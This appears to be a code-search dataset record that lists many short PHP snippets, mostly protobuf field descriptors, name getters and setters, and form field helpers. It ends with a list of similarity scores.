ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_INT32,\n \"name\" => \"id\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => 0,\n )));\n $desc->addField(3, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"email\",\n \"required\" => false,\n \"optional\" => true,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(4, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_MESSAGE,\n \"name\" => \"phone\",\n \"required\" => false,\n \"optional\" => false,\n \"repeated\" => true,\n \"packable\" => false,\n \"default\" => null,\n \"message\" => \"Tutorial_Person_PhoneNumber\",\n )));\n $desc->addExtensionRange(100, 111);\n $desc->addExtensionRange(120, 131);\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function getName() \n { \n return $this->getType().\"_\".substr(md5(implode($this->getParameters())), 0, 20);\n }", "public function __get($name)\n {\n if (strpos($name, 'Multi_') === 0)\n {\n $Lines = \"\";\n foreach ($this->{\"BufferListe_\" . $name} as $BufferIndex)\n {\n $Lines .= $this->{'Part_' . $name . $BufferIndex};\n }\n return unserialize($Lines);\n }\n return unserialize($this->GetBuffer($name));\n }", "public function __construct($name)\n {\n $this->name = $name;\n $this->value = null;\n $this->mode = \"AsVariable\";\n \n /*datos para base de datos*/\n $this->nullable = false;\n $this->size = 40;\n $this->type = \"VARCHAR\";\n $this->unsigned = false;\n $this->zerofill = false;\n $this->default = \"\";\n \n /*datos para verificar patron*/\n $this->regex = \"\";\n }", "public function fieldName($name) {\n\t\treturn self::FORM_NAME.'['.$name.']';\n\t}", "public static function getDescriptor()\n {\n \tstatic $descriptor;\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n\t\t\t$desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n\t\t\t\t\"type\" => ProtocolBuffers::TYPE_STRING,\n\t\t\t\t\"name\" => \"regPlace\",\n\t\t\t\t\"required\" => true,\n\t\t\t\t\"optional\" => false,\n\t\t\t\t\"repeated\" => false,\n\t\t\t\t\"packable\" => false,\n\t\t\t\t\"default\" => \"\",\n\t\t\t)));\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function set_name($name);", "private function retrieveClassName($name)\r\n {\r\n switch($name){\r\n case self::LABEL:\r\n case self::INPUT:\r\n case self::SUBIMIT:\r\n return 'Model\\\\Form\\\\Field' . ucfirst($name);\r\n default:\r\n throw new \\InvalidArgumentException(\"The $name field type does not exists\");\r\n }\r\n }", "public function __construct($name)\r\n\t{\r\n\t\t$this->_name = (string)$name;\r\n\t}", "public function name($name)\n {\n $prefix = !is_null($this->associatedEntity) && $this->associatedEntity->isSupportedAttribute($name) ?\n $this->keys['POST_WRAP'] . '[' . $this->associatedEntity->getInputName() . ']' :\n $this->keys['POST_WRAP'];\n\n // Transforms user[name] to data[user][name];\n if (preg_match('/^(.+?)\\[(.+)?/', $name, $matches)) {\n return $prefix . '[' . $matches[1].'][' . $matches[2];\n }\n\n // Transforms user to data[user]\n return $prefix . '[' . $name . ']';\n }", "public function setName(string $name)\n {\n }", "public function __construct($name) {\n\t\t$this->name = (string)$name;\n\t}", "public function setName($x) { $this->name = $x; }", "function set_name($name) { \n $this->name = $name;\n }", "public function setName(string $name);", "public function setName(string $name);", "function graphql_format_type_name($type_name)\n {\n }", "public function getName(): string\n {\n return $this->requireString('name');\n }", "public function __set($name, $value)\n {\n $Data = serialize($value);\n if (strpos($name, 'Multi_') === 0)\n {\n $OldBuffers = $this->{\"BufferListe_\" . $name};\n if ($OldBuffers == false)\n $OldBuffers = array();\n $Lines = str_split($Data, 8000);\n foreach ($Lines as $BufferIndex => $BufferLine)\n {\n $this->{'Part_' . $name . $BufferIndex} = $BufferLine;\n }\n $NewBuffers = array_keys($Lines);\n $this->{\"BufferListe_\" . $name} = $NewBuffers;\n $DelBuffers = array_diff_key($OldBuffers, $NewBuffers);\n foreach ($DelBuffers as $DelBuffer)\n {\n $this->{'Part_' . $name . $DelBuffer} = \"\";\n }\n return;\n }\n $this->SetBuffer($name, $Data);\n }", "public function __get( $name )\n {\n return isset( $this->_original[ $name ] ) ? $this->_original[ $name ] : '';\n }", "static function createToken($name)\n {\n static $type = self::T_OFFSET;\n $name = func_get_args();\n foreach ($name as $name)\n {\n define($name, ++$type);\n self::$tokenNames[$type] = $name;\n }\n }", "public static function elementaryName($name)\n {\n if (strpos($name, 'int[') === 0) {\n return 'int256' . substr($name, 3);\n } else if ($name === 'int') {\n return 'int256';\n } else if (strpos($name, 'uint[') === 0) {\n return 'uint256' . substr($name, 4);\n } else if ($name === 'uint') {\n return 'uint256';\n } else if (strpos($name, 'fixed[') === 0) {\n return 'fixed128x128' . substr($name, 5);\n } else if ($name === 'fixed') {\n return 'fixed128x128';\n } else if (strpos($name, 'ufixed[') === 0) {\n return 'ufixed128x128' . substr($name, 6);\n } else if ($name === 'ufixed') {\n return 'ufixed128x128';\n }\n return $name;\n }", "public function getTypeFor(string $name): string\n {\n return $this->checkExist($name)->fieldDefinitions[$name];\n }", "final public function name():string\n {\n return $this->name;\n }", "public function getByName($name, $type = BasePeer::TYPE_PHPNAME)\n\t{\n\t\t$pos = VpoRequestPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n\t\t$field = $this->getByPosition($pos);\n\t\treturn $field;\n\t}", "public function setName($name)\n {\n if (substr($name, -2) == '[]') {\n $this->setIsMultiple(true);\n $name = substr($name, 0, -2);\n }\n\n $this->_name = $name;\n }", "public function setName(string $name)\n\t{\n\t\t$this->name=$name; \n\t\t$this->keyModified['name'] = 1; \n\n\t}", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "private function processOneToManyField(string $name): string\n {\n $this->processedFields[] = $name;\n\n return sprintf(self::TPL_FIELD_OM, $this->camelToSnakeCase($name));\n }", "public function get_name(){ return $this->_name;}", "public function setCodeName( $name );", "public function getName(): string\n {\n return self::NAME;\n }", "public function getName(): string\n {\n return self::NAME;\n }", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"number\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(2, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_ENUM,\n \"name\" => \"type\",\n \"required\" => false,\n \"optional\" => true,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => Tutorial_Person_PhoneType::HOME,\n )));\n $phpoptions = $desc->getOptions()->getExtension(ProtocolBuffers::PHP_MESSAGE_OPTION);\n $phpoptions->setUseSingleProperty(true);\n $phpoptions->setSinglePropertyName(\"_properties\");\n\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "private function __validate_name() {\n if (isset($this->initial_data[\"name\"])) {\n if ($this->get_limiter_id_by_name($this->initial_data[\"name\"], true)) {\n $this->id = $this->get_limiter_id_by_name($this->initial_data[\"name\"]);\n } else {\n $this->errors[] = APIResponse\\get(4209);\n }\n } else {\n $this->errors[] = APIResponse\\get(4167);\n }\n }", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = JadwalPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function getName() { return $this->data['name']; }", "public function name() { return $this->name; }", "public function getNamedStringArgument($name);", "public function getMessage(): string\n {\n return \"The $this->name field must be an integer.\";\n }", "public static function get_name() : string ;", "public static function get_name() : string ;", "public function setName($name)\n {\n $this->name = $name;\n\n \n }", "public function setName($name) {\n $decoder = $this->config['decoder']['attachment'];\n if ($name !== null) {\n if($decoder === 'utf-8' && extension_loaded('imap')) {\n $this->name = \\imap_utf8($name);\n }else{\n $this->name = mb_decode_mimeheader($name);\n }\n }\n }", "public function setField(string $name, $value);", "public static function with($name)\n {\n Assert\\that($name)->string()->betweenLength(1, 255);\n return new static($name);\n }", "public function getName2()\n\t{\n\t\treturn $this->name2;\n\t}", "public function name():string;", "public function __construct( string $name = '' ) {\n $this->name = $name;\n }", "public function name(string $name): self{\n $this->_name = (string)$name;\n return $this;\n }", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = SekolahPaudPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function name() { }", "public function getField($name) { return $this->fields[$name]; }", "public function setName(&$var)\n {\n $arr = GPBUtil::checkRepeatedField($var, \\Google\\Protobuf\\Internal\\GPBType::STRING);\n $this->name = $arr;\n }", "function getName() { return $this->_name; }", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_MESSAGE,\n \"name\" => \"person\",\n \"required\" => false,\n \"optional\" => false,\n \"repeated\" => true,\n \"packable\" => false,\n \"default\" => null,\n \"message\" => \"Tutorial_Person\",\n )));\n $phpoptions = $desc->getOptions()->getExtension(ProtocolBuffers::PHP_MESSAGE_OPTION);\n $phpoptions->setUseSingleProperty(true);\n $phpoptions->setSinglePropertyName(\"_properties\");\n\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = SanitasiPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function name($name)\n{\n $this->name = $name;\n}", "public function setName(string $name = ''): Field\n {\n $this->name = $name;\n\n return $this;\n }", "public function setName($name) {\n\t}", "function rectifyName($name){\r\n return getNameForId(getIdForName($name));\r\n}", "function field_name_to_id($name) {\n if (preg_match('/^([^\\[\\]]+)\\[(.*)\\]$/', $name, $matches)) {\n return $matches[1] . '.' . $matches[2];\n } else {\n return $name;\n }\n}", "final public function name(): string\n {\n return $this->name;\n }", "function graphql_format_field_name($field_name)\n {\n }", "public function __construct($name)\r\n {\r\n $this->setFieldName($name);\r\n }", "function roomify_conversations_add_booking_full_name() {\n field_info_cache_clear();\n\n if (field_read_field('booking_full_name') === FALSE) {\n $field = array(\n 'field_name' => 'booking_full_name',\n 'type' => 'text',\n 'cardinality' => 1,\n 'locked' => 1,\n 'settings' => array(\n 'max_length' => 255,\n 'profile2_private' => FALSE,\n ),\n );\n field_create_field($field);\n }\n\n field_cache_clear();\n\n if (field_read_instance('bat_booking', 'booking_full_name', 'conversation_booking') === FALSE) {\n $instance = array(\n 'field_name' => 'booking_full_name',\n 'entity_type' => 'bat_booking',\n 'label' => 'Full Name',\n 'bundle' => 'conversation_booking',\n 'required' => FALSE,\n 'widget' => array(\n 'type' => 'text_textfield',\n ),\n );\n field_create_instance($instance);\n }\n}", "public function toString() {\n return nameof($this).'('.str_repeat('*', strlen($this->bytes)).')';\n }", "public function toString() {\n return nameof($this).'<'.$this->marker.'>('.strlen($this->bytes).' bytes)';\n }", "function decode($name){\n\t\treturn UString::fromUTF8($name);\n\t}", "public function tryToDefineName($content)\n\t{\n\t\tif(isset($content[$this -> name_field]) && $content[$this -> name_field])\n\t\t{\n\t\t\t$type = $this -> elements[$this -> name_field] -> getType();\n\t\t\t$name = \"\";\n\t\t\t$fields = array($this -> name_field => $type);\n\t\t\t\n\t\t\tif($this -> name_field_extra && isset($content[$this -> name_field_extra]) && $content[$this -> name_field_extra])\n\t\t\t\t $fields[$this -> name_field_extra] = $this -> elements[$this -> name_field_extra] -> getType();\n\t\t\t\t\t\n\t\t\tforeach($fields as $field => $type)\n\t\t\t\tif($type == 'enum')\n\t\t\t\t{\n\t\t\t\t\tif($this -> elements[$field] -> getProperty('foreign_key'))\n\t\t\t\t\t\t$data = $this -> elements[$field] -> getDataOfForeignKey();\n\t\t\t\t\telse\n\t\t\t\t\t\t$data = $this -> elements[$field] -> getValuesList();\n\t\t\t\t\t\n\t\t\t\t\tif(isset($data[$content[$field]]))\n\t\t\t\t\t\t$name .= $data[$content[$field]].\" \";\n\t\t\t\t}\n\t\t\t\telse if($type == 'text' && $this -> elements[$field] -> getProperty(\"show_in_admin\"))\n\t\t\t\t\t$name = Service :: cutText($content[$field], $this -> elements[$field] -> getProperty(\"show_in_admin\"), \" ...\").\" \";\n\t\t\t\telse if(($type == 'date' || $type == 'date_time') && preg_match(\"/^\\d{4}-\\d{2}-\\d{2}/\", $content[$field]))\n\t\t\t\t\t$name .= I18n :: dateFromSQL($content[$field]).\" \";\n\t\t\t\telse if(!in_array($type, array(\"file\", \"image\", \"multi_images\", \"many_to_one\", \"many_to_many\", \"password\")))\n\t\t\t\t\t$name .= $content[$field].\" \";\n\t\t\t\n\t\t\tif($name)\n\t\t\t\treturn trim($name);\n\t\t}\n\t\t\n\t\t//If we have char type field with name 'name'\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($name == 'name' && $object -> getType() == 'char' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\n\t\t//Any email field\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($object -> getType() == 'email' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\t\t\n\t\t//Any char field\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($object -> getType() == 'char' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\t\t\t\t\n\t\treturn isset($content['id']) ? I18n :: locale('record').\" \".$content['id'] : '-';\n\t}", "function __construct($name) {\n $this->NAME = $name;\n }", "function setName( $value )\n {\n $this->Name = $value;\n }", "public function setSerializedName(?string $serializedName): void;", "public function setName($name) {}", "public function setName($name) {}", "public function getName() {\n return @$this->attributes['name'];\n }", "public function name() : string;" ]
[ "0.5558608", "0.5493028", "0.54387426", "0.52227914", "0.51860124", "0.5155848", "0.515522", "0.5109678", "0.51054114", "0.5094769", "0.50945014", "0.5092645", "0.5087545", "0.5086789", "0.5086535", "0.508249", "0.5079723", "0.5072564", "0.50605875", "0.50334924", "0.5026924", "0.50130475", "0.5009727", "0.49942505", "0.49937087", "0.49883467", "0.4950502", "0.4950502", "0.4940779", "0.49358922", "0.49317718", "0.49277008", "0.4925225", "0.492366", "0.49226564", "0.49195397", "0.4918173", "0.49174654", "0.49162835", "0.49110514", "0.49110514", "0.49110514", "0.48826334", "0.4881889", "0.4881733", "0.48749217", "0.48749217", "0.48714918", "0.486977", "0.48656914", "0.48652732", "0.4858036", "0.48575976", "0.48555455", "0.48530924", "0.48530924", "0.48494995", "0.48465624", "0.484494", "0.48433936", "0.48417988", "0.48408595", "0.48383442", "0.48380435", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48329565", "0.4832088", "0.4831927", "0.4826685", "0.4820646", "0.4819702", "0.4817938", "0.48131883", "0.48129743", "0.48110956", "0.48088378", "0.48026156", "0.48007175", "0.48003107", "0.4799387", "0.4797023", "0.47966778", "0.4793951", "0.47905773", "0.4788971", "0.4785544", "0.47814065", "0.47751158", "0.47746655", "0.47746655", "0.47742596", "0.47712675" ]
0.0
-1
Generated from protobuf field string name = 2;
public function setName($var) { GPBUtil::checkString($var, True); $this->name = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function big($name)\n {\n return $name;\n }", "public function getName(){ return $this->getField('name'); }", "public function get(string $name): FieldContract;", "function getName () {return $this->getFieldValue ('name');}", "public function id($name)\n {\n $keepIdx = preg_replace('/\\[(\\d+)\\]/', \"_$1\", $name);\n $unbracketted = $this->removeBrackets($keepIdx, '_');\n $nothingWeird = preg_replace('/[^\\w\\d\\_]+?/', \"\", $unbracketted);\n $noTrail = preg_replace('/_$/', \"\", $nothingWeird);\n\n $clean = $noTrail;\n\n if (!is_null($this->associatedEntity) && $this->associatedEntity->isSupportedAttribute($name)) {\n $clean = $this->associatedEntity->getInputName() . \"_\" . $clean;\n }\n\n return $this->keys['POST_WRAP'] . \"_\" . $clean;\n }", "public function label($name) {\n\t\tif(!$this->field) return '';\n\t\treturn $this->field->type->getLabel($this->field, $name); \n\t}", "public function name($name);", "function get_field_name( $str ){\n\t\treturn 'field-'.$this->id_base.'['.$this->number.']['.$str.']';\n\t}", "protected function getPayloadName ($name, $type='') {\n\t\tif ($type === 'belongsTo') {\n\t\t\treturn NamingUtility::decamelize($name) . '_id';\n\t\t} elseif ($type === 'hasMany') {\n\t\t\treturn NamingUtility::singularize(NamingUtility::decamelize($name)) . '_ids';\n\t\t}\n\t\treturn NamingUtility::decamelize($name);\n\t}", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = BangunanPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function __construct(String $name) {\n\t\t$this->name = $name;\n\t\t$this->parameters = new \\stdClass();\n\t\t$this->resultDecimalSep = '.';\n\t\t$this->resultThousandsSep = '';\n\t}", "public function getNamedFixedStaticBagModelArgument($name);", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"name\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(2, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_INT32,\n \"name\" => \"id\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => 0,\n )));\n $desc->addField(3, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"email\",\n \"required\" => false,\n \"optional\" => true,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(4, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_MESSAGE,\n \"name\" => \"phone\",\n \"required\" => false,\n \"optional\" => false,\n \"repeated\" => true,\n \"packable\" => false,\n \"default\" => null,\n \"message\" => \"Tutorial_Person_PhoneNumber\",\n )));\n $desc->addExtensionRange(100, 111);\n $desc->addExtensionRange(120, 131);\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function getName() \n { \n return $this->getType().\"_\".substr(md5(implode($this->getParameters())), 0, 20);\n }", "public function __get($name)\n {\n if (strpos($name, 'Multi_') === 0)\n {\n $Lines = \"\";\n foreach ($this->{\"BufferListe_\" . $name} as $BufferIndex)\n {\n $Lines .= $this->{'Part_' . $name . $BufferIndex};\n }\n return unserialize($Lines);\n }\n return unserialize($this->GetBuffer($name));\n }", "public function __construct($name)\n {\n $this->name = $name;\n $this->value = null;\n $this->mode = \"AsVariable\";\n \n /*datos para base de datos*/\n $this->nullable = false;\n $this->size = 40;\n $this->type = \"VARCHAR\";\n $this->unsigned = false;\n $this->zerofill = false;\n $this->default = \"\";\n \n /*datos para verificar patron*/\n $this->regex = \"\";\n }", "public function fieldName($name) {\n\t\treturn self::FORM_NAME.'['.$name.']';\n\t}", "public static function getDescriptor()\n {\n \tstatic $descriptor;\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n\t\t\t$desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n\t\t\t\t\"type\" => ProtocolBuffers::TYPE_STRING,\n\t\t\t\t\"name\" => \"regPlace\",\n\t\t\t\t\"required\" => true,\n\t\t\t\t\"optional\" => false,\n\t\t\t\t\"repeated\" => false,\n\t\t\t\t\"packable\" => false,\n\t\t\t\t\"default\" => \"\",\n\t\t\t)));\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function set_name($name);", "private function retrieveClassName($name)\r\n {\r\n switch($name){\r\n case self::LABEL:\r\n case self::INPUT:\r\n case self::SUBIMIT:\r\n return 'Model\\\\Form\\\\Field' . ucfirst($name);\r\n default:\r\n throw new \\InvalidArgumentException(\"The $name field type does not exists\");\r\n }\r\n }", "public function __construct($name)\r\n\t{\r\n\t\t$this->_name = (string)$name;\r\n\t}", "public function name($name)\n {\n $prefix = !is_null($this->associatedEntity) && $this->associatedEntity->isSupportedAttribute($name) ?\n $this->keys['POST_WRAP'] . '[' . $this->associatedEntity->getInputName() . ']' :\n $this->keys['POST_WRAP'];\n\n // Transforms user[name] to data[user][name];\n if (preg_match('/^(.+?)\\[(.+)?/', $name, $matches)) {\n return $prefix . '[' . $matches[1].'][' . $matches[2];\n }\n\n // Transforms user to data[user]\n return $prefix . '[' . $name . ']';\n }", "public function setName(string $name)\n {\n }", "public function __construct($name) {\n\t\t$this->name = (string)$name;\n\t}", "public function setName($x) { $this->name = $x; }", "function set_name($name) { \n $this->name = $name;\n }", "public function setName(string $name);", "public function setName(string $name);", "function graphql_format_type_name($type_name)\n {\n }", "public function getName(): string\n {\n return $this->requireString('name');\n }", "public function __set($name, $value)\n {\n $Data = serialize($value);\n if (strpos($name, 'Multi_') === 0)\n {\n $OldBuffers = $this->{\"BufferListe_\" . $name};\n if ($OldBuffers == false)\n $OldBuffers = array();\n $Lines = str_split($Data, 8000);\n foreach ($Lines as $BufferIndex => $BufferLine)\n {\n $this->{'Part_' . $name . $BufferIndex} = $BufferLine;\n }\n $NewBuffers = array_keys($Lines);\n $this->{\"BufferListe_\" . $name} = $NewBuffers;\n $DelBuffers = array_diff_key($OldBuffers, $NewBuffers);\n foreach ($DelBuffers as $DelBuffer)\n {\n $this->{'Part_' . $name . $DelBuffer} = \"\";\n }\n return;\n }\n $this->SetBuffer($name, $Data);\n }", "public function __get( $name )\n {\n return isset( $this->_original[ $name ] ) ? $this->_original[ $name ] : '';\n }", "static function createToken($name)\n {\n static $type = self::T_OFFSET;\n $name = func_get_args();\n foreach ($name as $name)\n {\n define($name, ++$type);\n self::$tokenNames[$type] = $name;\n }\n }", "public static function elementaryName($name)\n {\n if (strpos($name, 'int[') === 0) {\n return 'int256' . substr($name, 3);\n } else if ($name === 'int') {\n return 'int256';\n } else if (strpos($name, 'uint[') === 0) {\n return 'uint256' . substr($name, 4);\n } else if ($name === 'uint') {\n return 'uint256';\n } else if (strpos($name, 'fixed[') === 0) {\n return 'fixed128x128' . substr($name, 5);\n } else if ($name === 'fixed') {\n return 'fixed128x128';\n } else if (strpos($name, 'ufixed[') === 0) {\n return 'ufixed128x128' . substr($name, 6);\n } else if ($name === 'ufixed') {\n return 'ufixed128x128';\n }\n return $name;\n }", "public function getTypeFor(string $name): string\n {\n return $this->checkExist($name)->fieldDefinitions[$name];\n }", "final public function name():string\n {\n return $this->name;\n }", "public function getByName($name, $type = BasePeer::TYPE_PHPNAME)\n\t{\n\t\t$pos = VpoRequestPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n\t\t$field = $this->getByPosition($pos);\n\t\treturn $field;\n\t}", "public function setName($name)\n {\n if (substr($name, -2) == '[]') {\n $this->setIsMultiple(true);\n $name = substr($name, 0, -2);\n }\n\n $this->_name = $name;\n }", "public function setName(string $name)\n\t{\n\t\t$this->name=$name; \n\t\t$this->keyModified['name'] = 1; \n\n\t}", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "public function setName(?string $name): void\n {\n $this->name['value'] = $name;\n }", "private function processOneToManyField(string $name): string\n {\n $this->processedFields[] = $name;\n\n return sprintf(self::TPL_FIELD_OM, $this->camelToSnakeCase($name));\n }", "public function get_name(){ return $this->_name;}", "public function setCodeName( $name );", "public function getName(): string\n {\n return self::NAME;\n }", "public function getName(): string\n {\n return self::NAME;\n }", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"number\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(2, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_ENUM,\n \"name\" => \"type\",\n \"required\" => false,\n \"optional\" => true,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => Tutorial_Person_PhoneType::HOME,\n )));\n $phpoptions = $desc->getOptions()->getExtension(ProtocolBuffers::PHP_MESSAGE_OPTION);\n $phpoptions->setUseSingleProperty(true);\n $phpoptions->setSinglePropertyName(\"_properties\");\n\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "private function __validate_name() {\n if (isset($this->initial_data[\"name\"])) {\n if ($this->get_limiter_id_by_name($this->initial_data[\"name\"], true)) {\n $this->id = $this->get_limiter_id_by_name($this->initial_data[\"name\"]);\n } else {\n $this->errors[] = APIResponse\\get(4209);\n }\n } else {\n $this->errors[] = APIResponse\\get(4167);\n }\n }", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = JadwalPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function getName() { return $this->data['name']; }", "public function name() { return $this->name; }", "public function getNamedStringArgument($name);", "public function getMessage(): string\n {\n return \"The $this->name field must be an integer.\";\n }", "public static function get_name() : string ;", "public static function get_name() : string ;", "public function setName($name)\n {\n $this->name = $name;\n\n \n }", "public function setName($name) {\n $decoder = $this->config['decoder']['attachment'];\n if ($name !== null) {\n if($decoder === 'utf-8' && extension_loaded('imap')) {\n $this->name = \\imap_utf8($name);\n }else{\n $this->name = mb_decode_mimeheader($name);\n }\n }\n }", "public function setField(string $name, $value);", "public static function with($name)\n {\n Assert\\that($name)->string()->betweenLength(1, 255);\n return new static($name);\n }", "public function getName2()\n\t{\n\t\treturn $this->name2;\n\t}", "public function name():string;", "public function __construct( string $name = '' ) {\n $this->name = $name;\n }", "public function name(string $name): self{\n $this->_name = (string)$name;\n return $this;\n }", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function name(): string;", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = SekolahPaudPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function name() { }", "public function getField($name) { return $this->fields[$name]; }", "public function setName(&$var)\n {\n $arr = GPBUtil::checkRepeatedField($var, \\Google\\Protobuf\\Internal\\GPBType::STRING);\n $this->name = $arr;\n }", "function getName() { return $this->_name; }", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_MESSAGE,\n \"name\" => \"person\",\n \"required\" => false,\n \"optional\" => false,\n \"repeated\" => true,\n \"packable\" => false,\n \"default\" => null,\n \"message\" => \"Tutorial_Person\",\n )));\n $phpoptions = $desc->getOptions()->getExtension(ProtocolBuffers::PHP_MESSAGE_OPTION);\n $phpoptions->setUseSingleProperty(true);\n $phpoptions->setSinglePropertyName(\"_properties\");\n\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function getByName($name, $type = BasePeer::TYPE_FIELDNAME)\n {\n $pos = SanitasiPeer::translateFieldName($name, $type, BasePeer::TYPE_NUM);\n $field = $this->getByPosition($pos);\n\n return $field;\n }", "public function name($name)\n{\n $this->name = $name;\n}", "public function setName(string $name = ''): Field\n {\n $this->name = $name;\n\n return $this;\n }", "public function setName($name) {\n\t}", "function rectifyName($name){\r\n return getNameForId(getIdForName($name));\r\n}", "function field_name_to_id($name) {\n if (preg_match('/^([^\\[\\]]+)\\[(.*)\\]$/', $name, $matches)) {\n return $matches[1] . '.' . $matches[2];\n } else {\n return $name;\n }\n}", "final public function name(): string\n {\n return $this->name;\n }", "function graphql_format_field_name($field_name)\n {\n }", "public function __construct($name)\r\n {\r\n $this->setFieldName($name);\r\n }", "function roomify_conversations_add_booking_full_name() {\n field_info_cache_clear();\n\n if (field_read_field('booking_full_name') === FALSE) {\n $field = array(\n 'field_name' => 'booking_full_name',\n 'type' => 'text',\n 'cardinality' => 1,\n 'locked' => 1,\n 'settings' => array(\n 'max_length' => 255,\n 'profile2_private' => FALSE,\n ),\n );\n field_create_field($field);\n }\n\n field_cache_clear();\n\n if (field_read_instance('bat_booking', 'booking_full_name', 'conversation_booking') === FALSE) {\n $instance = array(\n 'field_name' => 'booking_full_name',\n 'entity_type' => 'bat_booking',\n 'label' => 'Full Name',\n 'bundle' => 'conversation_booking',\n 'required' => FALSE,\n 'widget' => array(\n 'type' => 'text_textfield',\n ),\n );\n field_create_instance($instance);\n }\n}", "public function toString() {\n return nameof($this).'('.str_repeat('*', 